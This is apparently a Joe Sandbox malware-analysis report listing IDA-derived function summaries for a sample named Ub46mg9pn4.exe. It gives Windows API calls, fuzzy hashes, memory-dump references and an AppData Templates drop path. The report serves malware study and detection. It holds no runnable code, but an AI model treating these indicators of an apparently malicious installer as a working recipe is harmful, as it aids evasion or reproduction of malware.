Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 43a77b614ff4017466e57d7f63f0e44ab05d53355a3bca00642047650885b550
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: C5F0A5F15057A0DEF350DF688C847063BE4E3583C4B03852AE368F6269EB344454DF19

Function 0040621D Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062AB,00422708,00000000,?,?,Call,?), ref: 00406241

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 3024dc78f91217c8ac754af2bee00b96045fdb9f0f4599777b3fb0e88d8c22ab
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 8AD0123200020DBBDF116E919D05FAB371DEB04310F014426FE16A4091D775D530AB15

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 29d25e4036f002882842ff2abbc33b1b61682e4b1f0e1c41cb6674e83b655918
Instruction ID: 608ef69ca2b13f27eda1cfcd16162797e0d7c1effb02ba883df1ee114d760796
Opcode Fuzzy Hash: 29d25e4036f002882842ff2abbc33b1b61682e4b1f0e1c41cb6674e83b655918
Instruction Fuzzy Hash: 44D01272B04104DBDB21DBA4AF0859D73A59B10364B204677E101F11D1DAB989559A1D

Function 00403441 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040313F,?), ref: 0040344F

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00401F00 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405414: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000,?), ref: 0040544C
Part of subcall function 00405414: lstrlenW.KERNEL32(00402EEC,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000), ref: 0040545C
Part of subcall function 00405414: lstrcatW.KERNEL32(00422708,00402EEC,00402EEC,00422708,00000000,00000000,00000000), ref: 0040546F
Part of subcall function 00405414: SetWindowTextW.USER32(00422708,00422708), ref: 00405481
Part of subcall function 00405414: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054A7
Part of subcall function 00405414: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054C1
Part of subcall function 00405414: SendMessageW.USER32(?,00001013,?,00000000), ref: 004054CF

Part of subcall function 00405995: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059BE
Part of subcall function 00405995: CloseHandle.KERNEL32(?), ref: 004059CB

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401F47

Part of subcall function 0040683B: WaitForSingleObject.KERNEL32(?,00000064), ref: 0040684C
Part of subcall function 0040683B: GetExitCodeProcess.KERNEL32(?,?), ref: 0040686E

Part of subcall function 004062F7: wsprintfW.USER32 ref: 00406304

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: b4474b7c365b70f9dc7c58f3b4c8f6c607978000052ce3e09dedc8896c81aea9
Instruction ID: 78872c6594437c8f6fb94a475087433cb7c5ddb6828dda6eb17a8edff69df0b5
Opcode Fuzzy Hash: b4474b7c365b70f9dc7c58f3b4c8f6c607978000052ce3e09dedc8896c81aea9
Instruction Fuzzy Hash: 93F0F072905021DBCB20FBA58E848DE72B09F01328B2101BFF101F21D1C77C0E418AAE

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: cb92cf7ccb1965bdce3badc7d49dd673c55c158fa478f1f9cab94f81649d65d9
Instruction ID: adf76bd272608bb1b99769d9a9b05885636640fbfa2c3f91bbd7a8ebdab0685d
Opcode Fuzzy Hash: cb92cf7ccb1965bdce3badc7d49dd673c55c158fa478f1f9cab94f81649d65d9
Instruction Fuzzy Hash: 45D0A773F141008BD720EBB8BE8945E73F8E7803193208837E102F11D1E578C8928A2D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 00405553 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055B1
GetDlgItem.USER32(?,000003EE), ref: 004055C0
GetClientRect.USER32(?,?), ref: 004055FD
GetSystemMetrics.USER32(00000002), ref: 00405604
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405625
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405636
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405649
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405657
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040566A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040568C
ShowWindow.USER32(?,00000008), ref: 004056A0
GetDlgItem.USER32(?,000003EC), ref: 004056C1
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004056D1
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004056EA
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004056F6
GetDlgItem.USER32(?,000003F8), ref: 004055CF

Part of subcall function 0040437A: SendMessageW.USER32(00000028,?,00000001,004041A5), ref: 00404388

GetDlgItem.USER32(?,000003EC), ref: 00405713
CreateThread.KERNEL32(00000000,00000000,Function_000054E7,00000000), ref: 00405721
CloseHandle.KERNEL32(00000000), ref: 00405728
ShowWindow.USER32(00000000), ref: 0040574C
ShowWindow.USER32(?,00000008), ref: 00405751
ShowWindow.USER32(00000008), ref: 0040579B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057CF
CreatePopupMenu.USER32 ref: 004057E0
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004057F4
GetWindowRect.USER32(?,?), ref: 00405814
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040582D
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405865
OpenClipboard.USER32(00000000), ref: 00405875
EmptyClipboard.USER32 ref: 0040587B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405887
GlobalLock.KERNEL32(00000000), ref: 00405891
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A5
GlobalUnlock.KERNEL32(00000000), ref: 004058C5
SetClipboardData.USER32(0000000D,00000000), ref: 004058D0
CloseClipboard.USER32 ref: 004058D6

Strings

(7B, xrefs: 00405841
{, xrefs: 004057B9

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f086514403ad079958e05c79f9398a2ee239ec86c73215fd307c521ee98444fa
Instruction ID: f8c5fe522ebc9739dae7df13929d3a15495bf3740f19f89270c8c50aa4207807
Opcode Fuzzy Hash: f086514403ad079958e05c79f9398a2ee239ec86c73215fd307c521ee98444fa
Instruction Fuzzy Hash: AFB15870900608FFDB11AFA0DD85AAE7B79FB44354F00847AFA45B61A0CB754E51DF68

Function 00404D90 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DA8
GetDlgItem.USER32(?,00000408), ref: 00404DB3
GlobalAlloc.KERNEL32(00000040,?), ref: 00404DFD
LoadBitmapW.USER32(0000006E), ref: 00404E10
SetWindowLongW.USER32(?,000000FC,00405388), ref: 00404E29
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E3D
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E4F
SendMessageW.USER32(?,00001109,00000002), ref: 00404E65
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404E71
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404E83
DeleteObject.GDI32(00000000), ref: 00404E86
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EB1
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EBD
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F53
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404F7E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F92
GetWindowLongW.USER32(?,000000F0), ref: 00404FC1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404FCF
ShowWindow.USER32(?,00000005), ref: 00404FE0
SendMessageW.USER32(?,00000419,00000000,?), ref: 004050DD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00405142
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405157
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 0040517B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040519B
ImageList_Destroy.COMCTL32(?), ref: 004051B0
GlobalFree.KERNEL32(?), ref: 004051C0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405239
SendMessageW.USER32(?,00001102,?,?), ref: 004052E2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004052F1
InvalidateRect.USER32(?,00000000,00000001), ref: 00405311
ShowWindow.USER32(?,00000000), ref: 0040535F
GetDlgItem.USER32(?,000003FE), ref: 0040536A
ShowWindow.USER32(00000000), ref: 00405371

Strings

N, xrefs: 0040501B
, xrefs: 00405349
M, xrefs: 00404F3A

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dd7e303e7a082920acbddfa323b9c1fe09c51fd00b8ac91a0555c01a181f07cb
Instruction ID: 31ae2990ecb9e768136dc40aca02b7f59ce629e1f3cadc681249b7cbd6abf0de
Opcode Fuzzy Hash: dd7e303e7a082920acbddfa323b9c1fe09c51fd00b8ac91a0555c01a181f07cb
Instruction Fuzzy Hash: 09027DB0A00609EFDB209F54DC45AAE7BB5FB44354F10817AE610BA2E0C7798E52CF58

Function 00404814 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404863
SetWindowTextW.USER32(00000000,?), ref: 0040488D
SHBrowseForFolderW.SHELL32(?), ref: 0040493E
CoTaskMemFree.OLE32(00000000), ref: 00404949
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 0040497B
lstrcatW.KERNEL32(?,Call), ref: 00404987
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404999

Part of subcall function 004059F6: GetDlgItemTextW.USER32(?,?,00000400,004049D0), ref: 00405A09

Part of subcall function 00406644: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00403464,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 004066A7
Part of subcall function 00406644: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066B6
Part of subcall function 00406644: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00403464,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 004066BB
Part of subcall function 00406644: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00403464,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 004066CE

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A5C
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404A77

Part of subcall function 00404BD0: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404C71
Part of subcall function 00404BD0: wsprintfW.USER32 ref: 00404C7A
Part of subcall function 00404BD0: SetDlgItemTextW.USER32(?,00423728), ref: 00404C8D

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet, xrefs: 00404964
Call, xrefs: 00404975, 0040497A, 00404985
A, xrefs: 00404937
(7B, xrefs: 00404911

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet$Call
API String ID: 2624150263-2873568988
Opcode ID: f04caca690f49e87266c44fb9cab88c370668c693f36f0659ef379fd8dc31e70
Instruction ID: 8d8d1438250e4d518a9e2371570913b63a9457987511b3c3302aefac7d34506d
Opcode Fuzzy Hash: f04caca690f49e87266c44fb9cab88c370668c693f36f0659ef379fd8dc31e70
Instruction Fuzzy Hash: B3A184F1A00209ABDB119FA5CD45AAF77B8EF84314F14843BFA01B62D1D77C99418B6D

Function 004020FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040217D

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine, xrefs: 004021BD

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine
API String ID: 542301482-3352420214
Opcode ID: d21109b947604d2aeedf4ad2c9da0992de00d0e594a19d7853b024dfbf8c0e49
Instruction ID: fcf7de762e0310186ccf97c85ab7d5ba58e988de4da68cff16f28a22b081737a
Opcode Fuzzy Hash: d21109b947604d2aeedf4ad2c9da0992de00d0e594a19d7853b024dfbf8c0e49
Instruction Fuzzy Hash: EE414A75A00208AFCB10DFE4C988AAEBBB5FF48314F20457AF515EB2D1DB799941CB44

Function 00402862 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402871

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d93f1720afb55d10142a5d85e05fc16c00c53f1b0b53f4af4ae9949186ca55c3
Instruction ID: 1506565ccd7b679c7f55cec76d0c208d7a3b57e4c41f2eb52868ec6bdbdc004a
Opcode Fuzzy Hash: d93f1720afb55d10142a5d85e05fc16c00c53f1b0b53f4af4ae9949186ca55c3
Instruction Fuzzy Hash: 38F05E71A04104ABD710EBA4DA499ADB368EF00314F2005BBF541F21D1D7B84D919B2A

Function 00403E6C Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EA8
ShowWindow.USER32(?), ref: 00403EC5
DestroyWindow.USER32 ref: 00403ED9
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403EF5
GetDlgItem.USER32(?,?), ref: 00403F16
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F2A
IsWindowEnabled.USER32(00000000), ref: 00403F31
GetDlgItem.USER32(?,00000001), ref: 00403FDF
GetDlgItem.USER32(?,00000002), ref: 00403FE9
SetClassLongW.USER32(?,000000F2,?), ref: 00404003
